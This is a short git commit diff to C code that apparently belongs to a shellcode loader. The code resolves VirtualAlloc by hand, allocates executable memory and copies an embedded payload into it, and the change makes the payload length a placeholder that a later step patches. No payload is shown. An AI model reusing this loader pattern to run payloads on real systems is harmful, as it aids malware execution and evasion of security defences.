feature: dynamic payload size

This commit is contained in:
Dobin
2024-02-03 20:33:50 +00:00
parent cf527aca97
commit 466cf11d82
3 changed files with 19 additions and 10 deletions
+3 -1
View File
@@ -85,7 +85,9 @@ int main()
_In_ DWORD flProtect)) _GetProcAddress((HMODULE)base, VirtualAlloc_str);
if (_VirtualAlloc == NULL) return 4;
char *dest = _VirtualAlloc(NULL, 4096, 0x3000, 0x40);
for(int n=0; n<347+1; n++) {
// 11223344 is a magic number which will be replaced in the asm source
// with the payload length.
for(int n=0; n<11223344; n++) {
dest[n] = dobin[n];
}